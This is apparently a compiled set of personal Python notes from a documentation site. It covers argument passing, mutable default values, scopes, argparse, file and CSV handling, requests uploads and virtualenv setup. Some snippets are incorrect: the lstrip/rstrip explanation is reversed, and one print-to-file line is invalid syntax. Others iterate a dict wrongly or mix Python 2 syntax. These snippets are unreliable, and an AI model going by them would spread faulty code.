`#!/usr/bin/env python` - `#!/usr/bin/env python3` ### Pylauncher On Windows 1. Associated with `*.py` files 2. Executable is `py.exe` and is on the `PATH` 3. Parse the shebang and locate Python 4. PEP397 --- # Objects and Types Source: docs/programming/python/core/getting-started/5-objects-and-types.md URL: https://docs.calebsargeant.com/programming/python/core/getting-started/5-objects-and-types/ ## Passing Arguments and Returning Values ### Argument Passing When we pass an object reference to a function, we're essentially assigning from an actual argument reference, in this case `m` to the formal argument reference, in this case `k`. Assignment causes the reference being assigned to being referred **to** the same object as the reference being assigned **from**, which is what's going on here: ``` text >>> m = [9, 15, 24] >>> def modify(k): ... k.append(39) ... print("k =", k) ... >>> modify(m) k = [9, 15, 24, 39] >>> m [9, 15, 24, 39] ``` If you want a function to modify the copy of an object, it's the responsibility of the function to do the copying. ### Replacing Argument Value `f` still refers to the unmodified list, this time the function didn't modify the object it passed in. ``` text >>> f = [14, 23, 37] >>> def replace(g): ... g = [17, 28, 45] ... print("g =", g) ... >>> replace(f) g = [17, 28, 45] >>> f [14, 23, 37] ``` The object reference named `f` was assigned to the formal argument named `g`, so `g` and `f` did refer the the same object, just as in previous example. However in the first line in the function we reassigned the reference `g` to point to a newly constructed list. So within the function, the reference to the original list was overwritten, although the orignal list was still pointed to by the `f` reference outside the function. ### Mutable Arguments ``` text >>> def replace_contents(g): ... g[0] = 17 ... g[1] = 28 ... g[2] = 45 ... print("g =", g) ... >>> f = [14, 23, 37] >>> replace_contents(f) g = [17, 28, 45] >>> f [17, 28, 45] ``` - Function arguments are transferred using pass-by-object-reference. - References to objects are copied, not the objects themselves. ``` text >>> def f(d): ... return d ... >>> c = [6, 10, 16] >>> e = f(c) >>> c is e True ``` ## Function Arguments ### Default Argument Values Arguments with default values must come after those without default values. ``` text >>> def banner (message, border='-'): ... line = border * len(message) ... print (line) ... print(message) ... print(line) ... >>> banner("Howzit my bru!") -------------- Howzit my bru! -------------- >>> banner("Sun, Moon, Stars", "*") **************** Sun, Moon, Stars **************** >>> banner("Sun, Moon, Stars", border="*") **************** Sun, Moon, Stars **************** >>> banner(border=".", message="Hello from Earth, we come in peace!") ................................... Hello from Earth, we come in peace! ................................... ``` ### When Are Default Values Evaluated? ``` text >>> import time >>> time.ctime() 'Fri Feb 12 20:26:02 2021' >>> def show_default(arg=time.ctime()): ... print(arg) ... >>> show_default() Fri Feb 12 20:26:35 2021 >>> show_default() Fri Feb 12 20:26:35 2021 >>> show_default() Fri Feb 12 20:26:35 2021 ``` - Remember that `def` is a statement executed at runtime - Default arguments are evaluated when `def` is executed - Immutable default values don't cause problems - Mutable default values can cause confusing effects ### Mutable Default Values ``` text >>> def add_spam(menu=[]): ... menu.append("spam") ... return menu ... >>> breakfast = ['bacon', 'eggs'] >>> add_spam(breakfast) ['bacon', 'eggs', 'spam'] >>> lunch = ['baked beans'] >>> add_spam(lunch) ['baked beans', 'spam'] >>> add_spam() ['spam'] >>> add_spam() ['spam', 'spam'] >>> add_spam() ['spam', 'spam', 'spam'] ``` - The empty list that's used for the default argument is created once when the `def` statement is executed. The first time, spam is added, when adding second time, list still contains spam. - So always use immutable objects for default values! ### Immutable Default Values ``` text >>> def add_spam(menu=None): ... if menu is None: ... menu = [] ... menu.append('spam') ... return menu ... >>> add_spam() ['spam'] >>> add_spam() ['spam'] >>> add_spam() ['spam'] ``` ## Python's Type System ``` text >>> def add(a, b): ... return a+b ... >>> add(5,7) 12 >>> add(3.1, 2.4) 5.5 >>> add("news", "paper") 'newspaper' >>> add([1, 6], [21, 107]) [1, 6, 21, 107] >>> add("The answer is", 42) Traceback (most recent call last): File "", line 1, in File "", line 2, in add TypeError: can only concatenate str (not "int") to str ``` Python will not generally perform implicit conversions between types. ## Scopes - Type declarations are unnecessary in Python. - Names can be rebound as necessary to objects of any type. - Name resolution to objects is managed by scopes and scoping rules. ### Scopes in Python (LEGB) - **L** ocal - Inside the current function - **E** nclosing - Inside enclosing functions - **G** lobal - At the tope level of the module - **B** uilt-in - In the special builtins module Scopes in python don't correspond source code blocks ### Rebinding Global Names --- # Getting Started Source: docs/programming/python/core/getting-started/index.md URL: https://docs.calebsargeant.com/programming/python/core/getting-started/ --- # Core Source: docs/programming/python/core/index.md URL: https://docs.calebsargeant.com/programming/python/core/ --- # Python Source: docs/programming/python/index.md URL: https://docs.calebsargeant.com/programming/python/ **The Zen of Python** ``` python3 >>> import this The Zen of Python, by Tim Peters Beautiful is better than ugly. Explicit is better than implicit. Simple is better than complex. Complex is better than complicated. Flat is better than nested. Sparse is better than dense. Readability counts. Special cases aren't special enough to break the rules. Although practicality beats purity. Errors should never pass silently. Unless explicitly silenced. In the face of ambiguity, refuse the temptation to guess. There should be one-- and preferably only one --obvious way to do it. Although that way may not be obvious at first unless you're Dutch. Now is better than never. Although never is often better than *right* now. If the implementation is hard to explain, it's a bad idea. If the implementation is easy to explain, it may be a good idea. Namespaces are one honking great idea -- let's do more of those! ``` --- # Arguments Source: docs/programming/python/other/args.md URL: https://docs.calebsargeant.com/programming/python/other/args/ ## Argparse Gentleman's agreement: optional arguments should be flags, and required arguments should be positional. ``` python # Positional arguments import argparse parser = argparse.ArgumentParser(description="Do this and that") parser.add_argument("arg1", help="arg1 is for this") parser.add_argument("arg2", help="arg2 is for that") parser.add_argument("arg3", help="arg3 is for the other") args = parser.parse_args() print(args.arg1) print(args.arg2) print(args.arg3) # Flagged arguments import argparse parser = argparse.ArgumentParser(description="Do this and that") parser.add_argument("--arg1", "-a", help="arg1 is for this", required=True) parser.add_argument("--arg2", "-b", help="arg2 is for that", required=True) parser.add_argument("--arg3", "-c", help="arg3 is for the other", required=True) args = parser.parse_args() print(args.arg1) print(args.arg2) print(args.arg3) ``` --- # Errors Source: docs/programming/python/other/errors.md URL: https://docs.calebsargeant.com/programming/python/other/errors/ ## AttributeError AttributeError: 'NoneType' object has no attribute 'whatever' > NoneType means that instead of an instance of whatever Class or Object you think you're working with, you've actually got None. That usually means that an assignment or function call up above failed or returned an unexpected result. --- # Functions Source: docs/programming/python/other/functions.md URL: https://docs.calebsargeant.com/programming/python/other/functions/ ``` python # Function return output of single command def function1(): return whatever.thing() # Function with return end of for loop def function2(): for thing in item.values(): print(thing) return ``` --- # Other Source: docs/programming/python/other/index.md URL: https://docs.calebsargeant.com/programming/python/other/ --- # JSON Source: docs/programming/python/other/json.md URL: https://docs.calebsargeant.com/programming/python/other/json/ ## Output in JSON ``` bash cat myfile | python -m json.tool ``` ## Iterating over Dictionary Items ``` python # Iterating over just keys for key, value in data: print key # Iterating over keys and values for key, value in data.items(): print key, value ``` --- # Objects Source: docs/programming/python/other/objects.md URL: https://docs.calebsargeant.com/programming/python/other/objects/ ## Object Introspection ``` python >>> object.__dict__ ``` --- # Print & Open Source: docs/programming/python/other/print-open.md URL: https://docs.calebsargeant.com/programming/python/other/print-open/ ## For Loops :~:text=Use%20a%20for%2Dloop%20to,line%20break%20from%20each%20line. ``` python with open("sample.txt", "r") as a_file: for line in a_file: stripped_line = line.strip() print(stripped_line) ``` ## If Statements ``` python substring = "caleb" fullstring = "calebsargeant" if substring in fullstring: print("fullstring contains substring") else: print("fullstring does not contain substring") ``` ``` python a = 200 b = 33 if b > a: print("b is greater than a") elif a == b: print("a and b are equal") else: print("a is greater than b") ``` ``` python if file.endswith('.docx'): print("it's a document") elif file.endswith('.xlsx'): print("it's a spreadsheet") else: print("whatever") ``` ## Redirect Output to File Using open to output to file. `a` appends and `w` writes. ``` python # print into a file with open(filename, "a") as f: print(myvar.strip(), file=open(f), "a") # Similarly, showing py2 vs py3 with open('output.txt', 'w') as f: print >> f, 'Filename:', filename # Python 2.x print('Filename:', filename, file=f) # Python 3.x ``` Redirecting `stdout` to file, but printing directly to file is better: ``` python import sys orig_stdout = sys.stdout f = open('out.txt', 'w') sys.stdout = f for i in range(2): print 'i = ', i sys.stdout = orig_stdout f.close() ``` ## Searching a File ``` python file = open("grep_sample.txt", "w") file.write("first line\nsecond line\nthird line") file.close() pattern = "second" file = open("grep_sample.txt", "r") for line in file: if re.search(pattern, line): print(line) ``` ## CSV Files It's easier to just iterate a file using `csv.reader` without going `for row in reader` and `for column in row`. ``` python # Iterate over flat-file list OR a single column CSV file, header row cannot exist, or will be included as value to iterate over. with open(foodlist, 'r') as food: for (veg,) in csv.reader(food, delimiter=','): veg = veg.strip() print(veg) # Iterate over a CSV file with more than one column, specifying header row values: with open(foodlist, 'r') as food: for (veg, fruit, protein) in csv.reader(food, delimiter=','): veg = veg.strip() print(veg) # Iterate over a CSV file with more than one column, not caring about other header row values: with open(foodlist, 'r') as food: for (veg, _, _) in csv.reader(food, delimiter=','): veg = veg.strip() print(veg) ``` ``` python import csv with open('my.csv', 'r') as file: reader = csv.reader(file) for row in reader: print(row) ``` ``` python for i in numFiles: file = open(os.path.join(pathName, i), "rU") reader = csv.reader(file, delimiter=',') for row in reader: for column in row: print(column) if column=="SPECIFIC VALUE": #do stuff ``` ## Content-Type of Files ``` python files = { 'doc': ('example.docx', open('/Path/to/example.docx', 'rb'), 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') } ``` --- # Randomness Source: docs/programming/python/other/randomness.md URL: https://docs.calebsargeant.com/programming/python/other/randomness/ ## Name Equals Main This basically makes your .py file a program of some sorts, hard to explain, read above link. If your script is executed on its own, program will run. If your script is executed from another script, it won't run. ``` python # Start the program if __name__ == "__main__": main() ``` --- # Requests Source: docs/programming/python/other/requests.md URL: https://docs.calebsargeant.com/programming/python/other/requests/ ``` python #!/usr/bin/env python3 import requests url = 'https://EXAMPLE' payload = { 'one': 'EXAMPLE', 'two': 'EXAMPLE', 'three': 'EXAMPLE' } files = { 'doc': ('example.docx', open('/Path/to/example.docx', 'rb'), 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') } r = requests.post(url, data=payload, files=files) print(r.json()) ``` --- # Strings Source: docs/programming/python/other/strings.md URL: https://docs.calebsargeant.com/programming/python/other/strings/ ## Remove Whitespace Notice where the spaces are being removed. `lstrip` removes space from right-hand-side (leading), `rstrip` removes space from left-hand-side (trailing), and `strip` from both sides (not the middle). ``` python >>> sentence = ' howzit ma bru ' >>> sentence.strip() 'howzit ma bru' >>> sentence.lstrip() 'howzit ma bru ' >>> sentence.rstrip() ' howzit ma bru' ``` ## Converting to String ``` python str(var) ``` --- # Virtualenv Source: docs/programming/python/other/virtualenv.md URL: https://docs.calebsargeant.com/programming/python/other/virtualenv/ ``` bash # Install virtualenv and create folder for python environments pip3 install virtualenv mkdir ~/virtualenv cd ~/virtualenv # Create Virtual Environment virtualenv -p python3 sphinx # Go Into Environment source ~/virtualenv/sphinx/bin/activate # Change to repo dir cd ~/repos/docs # Install all packages we need pip3 install -r requirements.txt # You can then do stuff make html # Get out of the virtual environment deactivate ```